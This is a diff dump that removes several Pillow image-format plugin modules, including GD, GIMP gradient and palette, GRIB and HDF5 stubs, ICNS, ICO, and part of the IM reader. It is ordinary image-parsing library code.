from ._binary import i32be as i32
class GdImageFile(ImageFile.ImageFile):
"""
Image plugin for the GD uncompressed format. Note that this format
is not supported by the standard :py:func:`PIL.Image.open()` function. To use
this plugin, you have to import the :py:mod:`PIL.GdImageFile` module and
use the :py:func:`PIL.GdImageFile.open()` function.
"""
format = "GD"
format_description = "GD uncompressed images"
def _open(self):
# Header
s = self.fp.read(1037)
if not i16(s) in [65534, 65535]:
raise SyntaxError("Not a valid GD 2.x .gd file")
self.mode = "L" # FIXME: "P"
self._size = i16(s, 2), i16(s, 4)
true_color = s[6]
true_color_offset = 2 if true_color else 0
# transparency index
tindex = i32(s, 7 + true_color_offset)
if tindex < 256:
self.info["transparency"] = tindex
self.palette = ImagePalette.raw(
"XBGR", s[7 + true_color_offset + 4 : 7 + true_color_offset + 4 + 256 * 4]
)
self.tile = [
(
"raw",
(0, 0) + self.size,
7 + true_color_offset + 4 + 256 * 4,
("L", 0, 1),
)
]
def open(fp, mode="r"):
"""
Load texture from a GD image file.
:param fp: GD file name, or an opened file handle.
:param mode: Optional mode. In this version, if the mode argument
is given, it must be "r".
:returns: An image instance.
:raises OSError: If the image could not be read.
"""
if mode != "r":
raise ValueError("bad mode")
try:
return GdImageFile(fp)
except SyntaxError as e:
raise UnidentifiedImageError("cannot identify this image file") from e

View File

@@ -1,140 +0,0 @@
#
# Python Imaging Library
# $Id$
#
# stuff to read (and render) GIMP gradient files
#
# History:
# 97-08-23 fl Created
#
# Copyright (c) Secret Labs AB 1997.
# Copyright (c) Fredrik Lundh 1997.
#
# See the README file for information on usage and redistribution.
#
"""
Stuff to translate curve segments to palette values (derived from
the corresponding code in GIMP, written by Federico Mena Quintero.
See the GIMP distribution for more information.)
"""
from math import log, pi, sin, sqrt
from ._binary import o8
EPSILON = 1e-10
"""""" # Enable auto-doc for data member
def linear(middle, pos):
if pos <= middle:
if middle < EPSILON:
return 0.0
else:
return 0.5 * pos / middle
else:
pos = pos - middle
middle = 1.0 - middle
if middle < EPSILON:
return 1.0
else:
return 0.5 + 0.5 * pos / middle
def curved(middle, pos):
return pos ** (log(0.5) / log(max(middle, EPSILON)))
def sine(middle, pos):
return (sin((-pi / 2.0) + pi * linear(middle, pos)) + 1.0) / 2.0
def sphere_increasing(middle, pos):
return sqrt(1.0 - (linear(middle, pos) - 1.0) ** 2)
def sphere_decreasing(middle, pos):
return 1.0 - sqrt(1.0 - linear(middle, pos) ** 2)
SEGMENTS = [linear, curved, sine, sphere_increasing, sphere_decreasing]
"""""" # Enable auto-doc for data member
class GradientFile:
gradient = None
def getpalette(self, entries=256):
palette = []
ix = 0
x0, x1, xm, rgb0, rgb1, segment = self.gradient[ix]
for i in range(entries):
x = i / (entries - 1)
while x1 < x:
ix += 1
x0, x1, xm, rgb0, rgb1, segment = self.gradient[ix]
w = x1 - x0
if w < EPSILON:
scale = segment(0.5, 0.5)
else:
scale = segment((xm - x0) / w, (x - x0) / w)
# expand to RGBA
r = o8(int(255 * ((rgb1[0] - rgb0[0]) * scale + rgb0[0]) + 0.5))
g = o8(int(255 * ((rgb1[1] - rgb0[1]) * scale + rgb0[1]) + 0.5))
b = o8(int(255 * ((rgb1[2] - rgb0[2]) * scale + rgb0[2]) + 0.5))
a = o8(int(255 * ((rgb1[3] - rgb0[3]) * scale + rgb0[3]) + 0.5))
# add to palette
palette.append(r + g + b + a)
return b"".join(palette), "RGBA"
class GimpGradientFile(GradientFile):
"""File handler for GIMP's gradient format."""
def __init__(self, fp):
if fp.readline()[:13] != b"GIMP Gradient":
raise SyntaxError("not a GIMP gradient file")
line = fp.readline()
# GIMP 1.2 gradient files don't contain a name, but GIMP 1.3 files do
if line.startswith(b"Name: "):
line = fp.readline().strip()
count = int(line)
gradient = []
for i in range(count):
s = fp.readline().split()
w = [float(x) for x in s[:11]]
x0, x1 = w[0], w[2]
xm = w[1]
rgb0 = w[3:7]
rgb1 = w[7:11]
segment = SEGMENTS[int(s[11])]
cspace = int(s[12])
if cspace != 0:
raise OSError("cannot handle HSV colour space")
gradient.append((x0, x1, xm, rgb0, rgb1, segment))
self.gradient = gradient

View File

@@ -1,56 +0,0 @@
#
# Python Imaging Library
# $Id$
#
# stuff to read GIMP palette files
#
# History:
# 1997-08-23 fl Created
# 2004-09-07 fl Support GIMP 2.0 palette files.
#
# Copyright (c) Secret Labs AB 1997-2004. All rights reserved.
# Copyright (c) Fredrik Lundh 1997-2004.
#
# See the README file for information on usage and redistribution.
#
import re
from ._binary import o8
class GimpPaletteFile:
"""File handler for GIMP's palette format."""
rawmode = "RGB"
def __init__(self, fp):
self.palette = [o8(i) * 3 for i in range(256)]
if fp.readline()[:12] != b"GIMP Palette":
raise SyntaxError("not a GIMP palette file")
for i in range(256):
s = fp.readline()
if not s:
break
# skip fields and comment lines
if re.match(rb"\w+:|#", s):
continue
if len(s) > 100:
raise SyntaxError("bad palette file")
v = tuple(map(int, s.split()[:3]))
if len(v) != 3:
raise ValueError("bad palette entry")
self.palette[i] = o8(v[0]) + o8(v[1]) + o8(v[2])
self.palette = b"".join(self.palette)
def getpalette(self):
return self.palette, self.rawmode

View File

@@ -1,73 +0,0 @@
#
# The Python Imaging Library
# $Id$
#
# GRIB stub adapter
#
# Copyright (c) 1996-2003 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
from . import Image, ImageFile
_handler = None
def register_handler(handler):
"""
Install application-specific GRIB image handler.
:param handler: Handler object.
"""
global _handler
_handler = handler
# --------------------------------------------------------------------
# Image adapter
def _accept(prefix):
return prefix[:4] == b"GRIB" and prefix[7] == 1
class GribStubImageFile(ImageFile.StubImageFile):
format = "GRIB"
format_description = "GRIB"
def _open(self):
offset = self.fp.tell()
if not _accept(self.fp.read(8)):
raise SyntaxError("Not a GRIB file")
self.fp.seek(offset)
# make something up
self.mode = "F"
self._size = 1, 1
loader = self._load()
if loader:
loader.open(self)
def _load(self):
return _handler
def _save(im, fp, filename):
if _handler is None or not hasattr(_handler, "save"):
raise OSError("GRIB save handler not installed")
_handler.save(im, fp, filename)
# --------------------------------------------------------------------
# Registry
Image.register_open(GribStubImageFile.format, GribStubImageFile, _accept)
Image.register_save(GribStubImageFile.format, _save)
Image.register_extension(GribStubImageFile.format, ".grib")

View File

@@ -1,73 +0,0 @@
#
# The Python Imaging Library
# $Id$
#
# HDF5 stub adapter
#
# Copyright (c) 2000-2003 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
from . import Image, ImageFile
_handler = None
def register_handler(handler):
"""
Install application-specific HDF5 image handler.
:param handler: Handler object.
"""
global _handler
_handler = handler
# --------------------------------------------------------------------
# Image adapter
def _accept(prefix):
return prefix[:8] == b"\x89HDF\r\n\x1a\n"
class HDF5StubImageFile(ImageFile.StubImageFile):
format = "HDF5"
format_description = "HDF5"
def _open(self):
offset = self.fp.tell()
if not _accept(self.fp.read(8)):
raise SyntaxError("Not an HDF file")
self.fp.seek(offset)
# make something up
self.mode = "F"
self._size = 1, 1
loader = self._load()
if loader:
loader.open(self)
def _load(self):
return _handler
def _save(im, fp, filename):
if _handler is None or not hasattr(_handler, "save"):
raise OSError("HDF5 save handler not installed")
_handler.save(im, fp, filename)
# --------------------------------------------------------------------
# Registry
Image.register_open(HDF5StubImageFile.format, HDF5StubImageFile, _accept)
Image.register_save(HDF5StubImageFile.format, _save)
Image.register_extensions(HDF5StubImageFile.format, [".h5", ".hdf"])

View File

@@ -1,392 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# macOS icns file decoder, based on icns.py by Bob Ippolito.
#
# history:
# 2004-10-09 fl Turned into a PIL plugin; removed 2.3 dependencies.
# 2020-04-04 Allow saving on all operating systems.
#
# Copyright (c) 2004 by Bob Ippolito.
# Copyright (c) 2004 by Secret Labs.
# Copyright (c) 2004 by Fredrik Lundh.
# Copyright (c) 2014 by Alastair Houghton.
# Copyright (c) 2020 by Pan Jing.
#
# See the README file for information on usage and redistribution.
#
import io
import os
import struct
import sys
from PIL import Image, ImageFile, PngImagePlugin, features
enable_jpeg2k = features.check_codec("jpg_2000")
if enable_jpeg2k:
from PIL import Jpeg2KImagePlugin
MAGIC = b"icns"
HEADERSIZE = 8
def nextheader(fobj):
return struct.unpack(">4sI", fobj.read(HEADERSIZE))
def read_32t(fobj, start_length, size):
# The 128x128 icon seems to have an extra header for some reason.
(start, length) = start_length
fobj.seek(start)
sig = fobj.read(4)
if sig != b"\x00\x00\x00\x00":
raise SyntaxError("Unknown signature, expecting 0x00000000")
return read_32(fobj, (start + 4, length - 4), size)
def read_32(fobj, start_length, size):
"""
Read a 32bit RGB icon resource. Seems to be either uncompressed or
an RLE packbits-like scheme.
"""
(start, length) = start_length
fobj.seek(start)
pixel_size = (size[0] * size[2], size[1] * size[2])
sizesq = pixel_size[0] * pixel_size[1]
if length == sizesq * 3:
# uncompressed ("RGBRGBGB")
indata = fobj.read(length)
im = Image.frombuffer("RGB", pixel_size, indata, "raw", "RGB", 0, 1)
else:
# decode image
im = Image.new("RGB", pixel_size, None)
for band_ix in range(3):
data = []
bytesleft = sizesq
while bytesleft > 0:
byte = fobj.read(1)
if not byte:
break
byte = byte[0]
if byte & 0x80:
blocksize = byte - 125
byte = fobj.read(1)
for i in range(blocksize):
data.append(byte)
else:
blocksize = byte + 1
data.append(fobj.read(blocksize))
bytesleft -= blocksize
if bytesleft <= 0:
break
if bytesleft != 0:
raise SyntaxError(f"Error reading channel [{repr(bytesleft)} left]")
band = Image.frombuffer("L", pixel_size, b"".join(data), "raw", "L", 0, 1)
im.im.putband(band.im, band_ix)
return {"RGB": im}
def read_mk(fobj, start_length, size):
# Alpha masks seem to be uncompressed
start = start_length[0]
fobj.seek(start)
pixel_size = (size[0] * size[2], size[1] * size[2])
sizesq = pixel_size[0] * pixel_size[1]
band = Image.frombuffer("L", pixel_size, fobj.read(sizesq), "raw", "L", 0, 1)
return {"A": band}
def read_png_or_jpeg2000(fobj, start_length, size):
(start, length) = start_length
fobj.seek(start)
sig = fobj.read(12)
if sig[:8] == b"\x89PNG\x0d\x0a\x1a\x0a":
fobj.seek(start)
im = PngImagePlugin.PngImageFile(fobj)
Image._decompression_bomb_check(im.size)
return {"RGBA": im}
elif (
sig[:4] == b"\xff\x4f\xff\x51"
or sig[:4] == b"\x0d\x0a\x87\x0a"
or sig == b"\x00\x00\x00\x0cjP \x0d\x0a\x87\x0a"
):
if not enable_jpeg2k:
raise ValueError(
"Unsupported icon subimage format (rebuild PIL "
"with JPEG 2000 support to fix this)"
)
# j2k, jpc or j2c
fobj.seek(start)
jp2kstream = fobj.read(length)
f = io.BytesIO(jp2kstream)
im = Jpeg2KImagePlugin.Jpeg2KImageFile(f)
Image._decompression_bomb_check(im.size)
if im.mode != "RGBA":
im = im.convert("RGBA")
return {"RGBA": im}
else:
raise ValueError("Unsupported icon subimage format")
class IcnsFile:
SIZES = {
(512, 512, 2): [(b"ic10", read_png_or_jpeg2000)],
(512, 512, 1): [(b"ic09", read_png_or_jpeg2000)],
(256, 256, 2): [(b"ic14", read_png_or_jpeg2000)],
(256, 256, 1): [(b"ic08", read_png_or_jpeg2000)],
(128, 128, 2): [(b"ic13", read_png_or_jpeg2000)],
(128, 128, 1): [
(b"ic07", read_png_or_jpeg2000),
(b"it32", read_32t),
(b"t8mk", read_mk),
],
(64, 64, 1): [(b"icp6", read_png_or_jpeg2000)],
(32, 32, 2): [(b"ic12", read_png_or_jpeg2000)],
(48, 48, 1): [(b"ih32", read_32), (b"h8mk", read_mk)],
(32, 32, 1): [
(b"icp5", read_png_or_jpeg2000),
(b"il32", read_32),
(b"l8mk", read_mk),
],
(16, 16, 2): [(b"ic11", read_png_or_jpeg2000)],
(16, 16, 1): [
(b"icp4", read_png_or_jpeg2000),
(b"is32", read_32),
(b"s8mk", read_mk),
],
}
def __init__(self, fobj):
"""
fobj is a file-like object as an icns resource
"""
# signature : (start, length)
self.dct = dct = {}
self.fobj = fobj
sig, filesize = nextheader(fobj)
if not _accept(sig):
raise SyntaxError("not an icns file")
i = HEADERSIZE
while i < filesize:
sig, blocksize = nextheader(fobj)
if blocksize <= 0:
raise SyntaxError("invalid block header")
i += HEADERSIZE
blocksize -= HEADERSIZE
dct[sig] = (i, blocksize)
fobj.seek(blocksize, io.SEEK_CUR)
i += blocksize
def itersizes(self):
sizes = []
for size, fmts in self.SIZES.items():
for (fmt, reader) in fmts:
if fmt in self.dct:
sizes.append(size)
break
return sizes
def bestsize(self):
sizes = self.itersizes()
if not sizes:
raise SyntaxError("No 32bit icon resources found")
return max(sizes)
def dataforsize(self, size):
"""
Get an icon resource as {channel: array}. Note that
the arrays are bottom-up like windows bitmaps and will likely
need to be flipped or transposed in some way.
"""
dct = {}
for code, reader in self.SIZES[size]:
desc = self.dct.get(code)
if desc is not None:
dct.update(reader(self.fobj, desc, size))
return dct
def getimage(self, size=None):
if size is None:
size = self.bestsize()
if len(size) == 2:
size = (size[0], size[1], 1)
channels = self.dataforsize(size)
im = channels.get("RGBA", None)
if im:
return im
im = channels.get("RGB").copy()
try:
im.putalpha(channels["A"])
except KeyError:
pass
return im
##
# Image plugin for Mac OS icons.
class IcnsImageFile(ImageFile.ImageFile):
"""
PIL image support for Mac OS .icns files.
Chooses the best resolution, but will possibly load
a different size image if you mutate the size attribute
before calling 'load'.
The info dictionary has a key 'sizes' that is a list
of sizes that the icns file has.
"""
format = "ICNS"
format_description = "Mac OS icns resource"
def _open(self):
self.icns = IcnsFile(self.fp)
self.mode = "RGBA"
self.info["sizes"] = self.icns.itersizes()
self.best_size = self.icns.bestsize()
self.size = (
self.best_size[0] * self.best_size[2],
self.best_size[1] * self.best_size[2],
)
@property
def size(self):
return self._size
@size.setter
def size(self, value):
info_size = value
if info_size not in self.info["sizes"] and len(info_size) == 2:
info_size = (info_size[0], info_size[1], 1)
if (
info_size not in self.info["sizes"]
and len(info_size) == 3
and info_size[2] == 1
):
simple_sizes = [
(size[0] * size[2], size[1] * size[2]) for size in self.info["sizes"]
]
if value in simple_sizes:
info_size = self.info["sizes"][simple_sizes.index(value)]
if info_size not in self.info["sizes"]:
raise ValueError("This is not one of the allowed sizes of this image")
self._size = value
def load(self):
if len(self.size) == 3:
self.best_size = self.size
self.size = (
self.best_size[0] * self.best_size[2],
self.best_size[1] * self.best_size[2],
)
px = Image.Image.load(self)
if self.im is not None and self.im.size == self.size:
# Already loaded
return px
self.load_prepare()
# This is likely NOT the best way to do it, but whatever.
im = self.icns.getimage(self.best_size)
# If this is a PNG or JPEG 2000, it won't be loaded yet
px = im.load()
self.im = im.im
self.mode = im.mode
self.size = im.size
return px
def _save(im, fp, filename):
"""
Saves the image as a series of PNG files,
that are then combined into a .icns file.
"""
if hasattr(fp, "flush"):
fp.flush()
sizes = {
b"ic07": 128,
b"ic08": 256,
b"ic09": 512,
b"ic10": 1024,
b"ic11": 32,
b"ic12": 64,
b"ic13": 256,
b"ic14": 512,
}
provided_images = {im.width: im for im in im.encoderinfo.get("append_images", [])}
size_streams = {}
for size in set(sizes.values()):
image = (
provided_images[size]
if size in provided_images
else im.resize((size, size))
)
temp = io.BytesIO()
image.save(temp, "png")
size_streams[size] = temp.getvalue()
entries = []
for type, size in sizes.items():
stream = size_streams[size]
entries.append(
{"type": type, "size": HEADERSIZE + len(stream), "stream": stream}
)
# Header
fp.write(MAGIC)
file_length = HEADERSIZE # Header
file_length += HEADERSIZE + 8 * len(entries) # TOC
file_length += sum(entry["size"] for entry in entries)
fp.write(struct.pack(">i", file_length))
# TOC
fp.write(b"TOC ")
fp.write(struct.pack(">i", HEADERSIZE + len(entries) * HEADERSIZE))
for entry in entries:
fp.write(entry["type"])
fp.write(struct.pack(">i", entry["size"]))
# Data
for entry in entries:
fp.write(entry["type"])
fp.write(struct.pack(">i", entry["size"]))
fp.write(entry["stream"])
if hasattr(fp, "flush"):
fp.flush()
def _accept(prefix):
return prefix[:4] == MAGIC
Image.register_open(IcnsImageFile.format, IcnsImageFile, _accept)
Image.register_extension(IcnsImageFile.format, ".icns")
Image.register_save(IcnsImageFile.format, _save)
Image.register_mime(IcnsImageFile.format, "image/icns")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Syntax: python3 IcnsImagePlugin.py [file]")
sys.exit()
with open(sys.argv[1], "rb") as fp:
imf = IcnsImageFile(fp)
for size in imf.info["sizes"]:
imf.size = size
imf.save("out-%s-%s-%s.png" % size)
with Image.open(sys.argv[1]) as im:
im.save("out.png")
if sys.platform == "windows":
os.startfile("out.png")

View File

@@ -1,355 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# Windows Icon support for PIL
#
# History:
# 96-05-27 fl Created
#
# Copyright (c) Secret Labs AB 1997.
# Copyright (c) Fredrik Lundh 1996.
#
# See the README file for information on usage and redistribution.
#
# This plugin is a refactored version of Win32IconImagePlugin by Bryan Davis
# <casadebender@gmail.com>.
# https://code.google.com/archive/p/casadebender/wikis/Win32IconImagePlugin.wiki
#
# Icon format references:
# * https://en.wikipedia.org/wiki/ICO_(file_format)
# * https://msdn.microsoft.com/en-us/library/ms997538.aspx
import warnings
from io import BytesIO
from math import ceil, log
from . import BmpImagePlugin, Image, ImageFile, PngImagePlugin
from ._binary import i16le as i16
from ._binary import i32le as i32
from ._binary import o8
from ._binary import o16le as o16
from ._binary import o32le as o32
#
# --------------------------------------------------------------------
_MAGIC = b"\0\0\1\0"
def _save(im, fp, filename):
fp.write(_MAGIC) # (2+2)
bmp = im.encoderinfo.get("bitmap_format") == "bmp"
sizes = im.encoderinfo.get(
"sizes",
[(16, 16), (24, 24), (32, 32), (48, 48), (64, 64), (128, 128), (256, 256)],
)
frames = []
provided_ims = [im] + im.encoderinfo.get("append_images", [])
width, height = im.size
for size in sorted(set(sizes)):
if size[0] > width or size[1] > height or size[0] > 256 or size[1] > 256:
continue
for provided_im in provided_ims:
if provided_im.size != size:
continue
frames.append(provided_im)
if bmp:
bits = BmpImagePlugin.SAVE[provided_im.mode][1]
bits_used = [bits]
for other_im in provided_ims:
if other_im.size != size:
continue
bits = BmpImagePlugin.SAVE[other_im.mode][1]
if bits not in bits_used:
# Another image has been supplied for this size
# with a different bit depth
frames.append(other_im)
bits_used.append(bits)
break
else:
# TODO: invent a more convenient method for proportional scalings
frame = provided_im.copy()
frame.thumbnail(size, Image.Resampling.LANCZOS, reducing_gap=None)
frames.append(frame)
fp.write(o16(len(frames))) # idCount(2)
offset = fp.tell() + len(frames) * 16
for frame in frames:
width, height = frame.size
# 0 means 256
fp.write(o8(width if width < 256 else 0)) # bWidth(1)
fp.write(o8(height if height < 256 else 0)) # bHeight(1)
bits, colors = BmpImagePlugin.SAVE[frame.mode][1:] if bmp else (32, 0)
fp.write(o8(colors)) # bColorCount(1)
fp.write(b"\0") # bReserved(1)
fp.write(b"\0\0") # wPlanes(2)
fp.write(o16(bits)) # wBitCount(2)
image_io = BytesIO()
if bmp:
frame.save(image_io, "dib")
if bits != 32:
and_mask = Image.new("1", size)
ImageFile._save(
and_mask, image_io, [("raw", (0, 0) + size, 0, ("1", 0, -1))]
)
else:
frame.save(image_io, "png")
image_io.seek(0)
image_bytes = image_io.read()
if bmp:
image_bytes = image_bytes[:8] + o32(height * 2) + image_bytes[12:]
bytes_len = len(image_bytes)
fp.write(o32(bytes_len)) # dwBytesInRes(4)
fp.write(o32(offset)) # dwImageOffset(4)
current = fp.tell()
fp.seek(offset)
fp.write(image_bytes)
offset = offset + bytes_len
fp.seek(current)
def _accept(prefix):
return prefix[:4] == _MAGIC
class IcoFile:
def __init__(self, buf):
"""
Parse image from file-like object containing ico file data
"""
# check magic
s = buf.read(6)
if not _accept(s):
raise SyntaxError("not an ICO file")
self.buf = buf
self.entry = []
# Number of items in file
self.nb_items = i16(s, 4)
# Get headers for each item
for i in range(self.nb_items):
s = buf.read(16)
icon_header = {
"width": s[0],
"height": s[1],
"nb_color": s[2], # No. of colors in image (0 if >=8bpp)
"reserved": s[3],
"planes": i16(s, 4),
"bpp": i16(s, 6),
"size": i32(s, 8),
"offset": i32(s, 12),
}
# See Wikipedia
for j in ("width", "height"):
if not icon_header[j]:
icon_header[j] = 256
# See Wikipedia notes about color depth.
# We need this just to differ images with equal sizes
icon_header["color_depth"] = (
icon_header["bpp"]
or (
icon_header["nb_color"] != 0
and ceil(log(icon_header["nb_color"], 2))
)
or 256
)
icon_header["dim"] = (icon_header["width"], icon_header["height"])
icon_header["square"] = icon_header["width"] * icon_header["height"]
self.entry.append(icon_header)
self.entry = sorted(self.entry, key=lambda x: x["color_depth"])
# ICO images are usually squares
# self.entry = sorted(self.entry, key=lambda x: x['width'])
self.entry = sorted(self.entry, key=lambda x: x["square"])
self.entry.reverse()
def sizes(self):
"""
Get a list of all available icon sizes and color depths.
"""
return {(h["width"], h["height"]) for h in self.entry}
def getentryindex(self, size, bpp=False):
for (i, h) in enumerate(self.entry):
if size == h["dim"] and (bpp is False or bpp == h["color_depth"]):
return i
return 0
def getimage(self, size, bpp=False):
"""
Get an image from the icon
"""
return self.frame(self.getentryindex(size, bpp))
def frame(self, idx):
"""
Get an image from frame idx
"""
header = self.entry[idx]
self.buf.seek(header["offset"])
data = self.buf.read(8)
self.buf.seek(header["offset"])
if data[:8] == PngImagePlugin._MAGIC:
# png frame
im = PngImagePlugin.PngImageFile(self.buf)
Image._decompression_bomb_check(im.size)
else:
# XOR + AND mask bmp frame
im = BmpImagePlugin.DibImageFile(self.buf)
Image._decompression_bomb_check(im.size)
# change tile dimension to only encompass XOR image
im._size = (im.size[0], int(im.size[1] / 2))
d, e, o, a = im.tile[0]
im.tile[0] = d, (0, 0) + im.size, o, a
# figure out where AND mask image starts
bpp = header["bpp"]
if 32 == bpp:
# 32-bit color depth icon image allows semitransparent areas
# PIL's DIB format ignores transparency bits, recover them.
# The DIB is packed in BGRX byte order where X is the alpha
# channel.
# Back up to start of bmp data
self.buf.seek(o)
# extract every 4th byte (eg. 3,7,11,15,...)
alpha_bytes = self.buf.read(im.size[0] * im.size[1] * 4)[3::4]
# convert to an 8bpp grayscale image
mask = Image.frombuffer(
"L", # 8bpp
im.size, # (w, h)
alpha_bytes, # source chars
"raw", # raw decoder
("L", 0, -1), # 8bpp inverted, unpadded, reversed
)
else:
# get AND image from end of bitmap
w = im.size[0]
if (w % 32) > 0:
# bitmap row data is aligned to word boundaries
w += 32 - (im.size[0] % 32)
# the total mask data is
# padded row size * height / bits per char
total_bytes = int((w * im.size[1]) / 8)
and_mask_offset = header["offset"] + header["size"] - total_bytes
self.buf.seek(and_mask_offset)
mask_data = self.buf.read(total_bytes)
# convert raw data to image
mask = Image.frombuffer(
"1", # 1 bpp
im.size, # (w, h)
mask_data, # source chars
"raw", # raw decoder
("1;I", int(w / 8), -1), # 1bpp inverted, padded, reversed
)
# now we have two images, im is XOR image and mask is AND image
# apply mask image as alpha channel
im = im.convert("RGBA")
im.putalpha(mask)
return im
##
# Image plugin for Windows Icon files.
class IcoImageFile(ImageFile.ImageFile):
"""
PIL read-only image support for Microsoft Windows .ico files.
By default the largest resolution image in the file will be loaded. This
can be changed by altering the 'size' attribute before calling 'load'.
The info dictionary has a key 'sizes' that is a list of the sizes available
in the icon file.
Handles classic, XP and Vista icon formats.
When saving, PNG compression is used. Support for this was only added in
Windows Vista. If you are unable to view the icon in Windows, convert the
image to "RGBA" mode before saving.
This plugin is a refactored version of Win32IconImagePlugin by Bryan Davis
<casadebender@gmail.com>.
https://code.google.com/archive/p/casadebender/wikis/Win32IconImagePlugin.wiki
"""
format = "ICO"
format_description = "Windows Icon"
def _open(self):
self.ico = IcoFile(self.fp)
self.info["sizes"] = self.ico.sizes()
self.size = self.ico.entry[0]["dim"]
self.load()
@property
def size(self):
return self._size
@size.setter
def size(self, value):
if value not in self.info["sizes"]:
raise ValueError("This is not one of the allowed sizes of this image")
self._size = value
def load(self):
if self.im is not None and self.im.size == self.size:
# Already loaded
return Image.Image.load(self)
im = self.ico.getimage(self.size)
# if tile is PNG, it won't really be loaded yet
im.load()
self.im = im.im
self.mode = im.mode
if im.size != self.size:
warnings.warn("Image was not the expected size")
index = self.ico.getentryindex(self.size)
sizes = list(self.info["sizes"])
sizes[index] = im.size
self.info["sizes"] = set(sizes)
self.size = im.size
def load_seek(self):
# Flag the ImageFile.Parser so that it
# just does all the decode at the end.
pass
#
# --------------------------------------------------------------------
Image.register_open(IcoImageFile.format, IcoImageFile, _accept)
Image.register_save(IcoImageFile.format, _save)
Image.register_extension(IcoImageFile.format, ".ico")
Image.register_mime(IcoImageFile.format, "image/x-icon")

View File

@@ -1,373 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# IFUNC IM file handling for PIL
#
# history:
# 1995-09-01 fl Created.
# 1997-01-03 fl Save palette images
# 1997-01-08 fl Added sequence support
# 1997-01-23 fl Added P and RGB save support
# 1997-05-31 fl Read floating point images
# 1997-06-22 fl Save floating point images
# 1997-08-27 fl Read and save 1-bit images
# 1998-06-25 fl Added support for RGB+LUT images
# 1998-07-02 fl Added support for YCC images
# 1998-07-15 fl Renamed offset attribute to avoid name clash
# 1998-12-29 fl Added I;16 support
# 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.7)
# 2003-09-26 fl Added LA/PA support
#
# Copyright (c) 1997-2003 by Secret Labs AB.
# Copyright (c) 1995-2001 by Fredrik Lundh.
#
# See the README file for information on usage and redistribution.
#
import os
import re
from . import Image, ImageFile, ImagePalette
# --------------------------------------------------------------------
# Standard tags
COMMENT = "Comment"
DATE = "Date"
EQUIPMENT = "Digitalization equipment"
FRAMES = "File size (no of images)"
LUT = "Lut"
NAME = "Name"
SCALE = "Scale (x,y)"
SIZE = "Image size (x*y)"
MODE = "Image type"
TAGS = {
COMMENT: 0,
DATE: 0,
EQUIPMENT: 0,
FRAMES: 0,
LUT: 0,
NAME: 0,
SCALE: 0,
SIZE: 0,
MODE: 0,
}
OPEN = {
# ifunc93/p3cfunc formats
"0 1 image": ("1", "1"),
"L 1 image": ("1", "1"),
"Greyscale image": ("L", "L"),
"Grayscale image": ("L", "L"),
"RGB image": ("RGB", "RGB;L"),
"RLB image": ("RGB", "RLB"),
"RYB image": ("RGB", "RLB"),
"B1 image": ("1", "1"),
"B2 image": ("P", "P;2"),
"B4 image": ("P", "P;4"),
"X 24 image": ("RGB", "RGB"),
"L 32 S image": ("I", "I;32"),
"L 32 F image": ("F", "F;32"),
# old p3cfunc formats
"RGB3 image": ("RGB", "RGB;T"),
"RYB3 image": ("RGB", "RYB;T"),
# extensions
"LA image": ("LA", "LA;L"),
"PA image": ("LA", "PA;L"),
"RGBA image": ("RGBA", "RGBA;L"),
"RGBX image": ("RGBX", "RGBX;L"),
"CMYK image": ("CMYK", "CMYK;L"),
"YCC image": ("YCbCr", "YCbCr;L"),
}
# ifunc95 extensions
for i in ["8", "8S", "16", "16S", "32", "32F"]:
OPEN[f"L {i} image"] = ("F", f"F;{i}")
OPEN[f"L*{i} image"] = ("F", f"F;{i}")
for i in ["16", "16L", "16B"]:
OPEN[f"L {i} image"] = (f"I;{i}", f"I;{i}")
OPEN[f"L*{i} image"] = (f"I;{i}", f"I;{i}")
for i in ["32S"]:
OPEN[f"L {i} image"] = ("I", f"I;{i}")
OPEN[f"L*{i} image"] = ("I", f"I;{i}")
for i in range(2, 33):
OPEN[f"L*{i} image"] = ("F", f"F;{i}")
# --------------------------------------------------------------------
# Read IM directory
split = re.compile(rb"^([A-Za-z][^:]*):[ \t]*(.*)[ \t]*$")
def number(s):
try:
return int(s)
except ValueError:
return float(s)
##
# Image plugin for the IFUNC IM file format.
class ImImageFile(ImageFile.ImageFile):
format = "IM"
format_description = "IFUNC Image Memory"
_close_exclusive_fp_after_loading = False
def _open(self):
# Quick rejection: if there's not an LF among the first
# 100 bytes, this is (probably) not a text header.
if b"\n" not in self.fp.read(100):
raise SyntaxError("not an IM file")
self.fp.seek(0)
n = 0
# Default values
self.info[MODE] = "L"
self.info[SIZE] = (512, 512)
self.info[FRAMES] = 1
self.rawmode = "L"
while True:
s = self.fp.read(1)
# Some versions of IFUNC uses \n\r instead of \r\n...
if s == b"\r":
continue
if not s or s == b"\0" or s == b"\x1A":
break
# FIXME: this may read whole file if not a text file
s = s + self.fp.readline()
if len(s) > 100:
raise SyntaxError("not an IM file")
if s[-2:] == b"\r\n":
s = s[:-2]
elif s[-1:] == b"\n":
s = s[:-1]
try:
m = split.match(s)
except re.error as e:
raise SyntaxError("not an IM file") from e
if m:
k, v = m.group(1, 2)
# Don't know if this is the correct encoding,
# but a decent guess (I guess)
k = k.decode("latin-1", "replace")
v = v.decode("latin-1", "replace")
# Convert value as appropriate
if k in [FRAMES, SCALE, SIZE]:
v = v.replace("*", ",")
v = tuple(map(number, v.split(",")))
if len(v) == 1:
v = v[0]
elif k == MODE and v in OPEN:
v, self.rawmode = OPEN[v]
# Add to dictionary. Note that COMMENT tags are
# combined into a list of strings.
if k == COMMENT:
if k in self.info:
self.info[k].append(v)
else:
self.info[k] = [v]
else:
self.info[k] = v
if k in TAGS:
n += 1
else:
raise SyntaxError(
"Syntax error in IM header: " + s.decode("ascii", "replace")
)
if not n:
raise SyntaxError("Not an IM file")
# Basic attributes
self._size = self.info[SIZE]
self.mode = self.info[MODE]
# Skip forward to start of image data
while s and s[:1] != b"\x1A":
s = self.fp.read(1)
if not s:
raise SyntaxError("File truncated")
if LUT in self.info:
# convert lookup table to palette or lut attribute
palette = self.fp.read(768)
greyscale = 1 # greyscale palette
linear = 1 # linear greyscale palette
for i in range(256):
if palette[i] == palette[i + 256] == palette[i + 512]:
if palette[i] != i:
linear = 0
else:
greyscale = 0
if self.mode in ["L", "LA", "P", "PA"]:
if greyscale:
if not linear:
self.lut = list(palette[:256])
else:
if self.mode in ["L", "P"]:
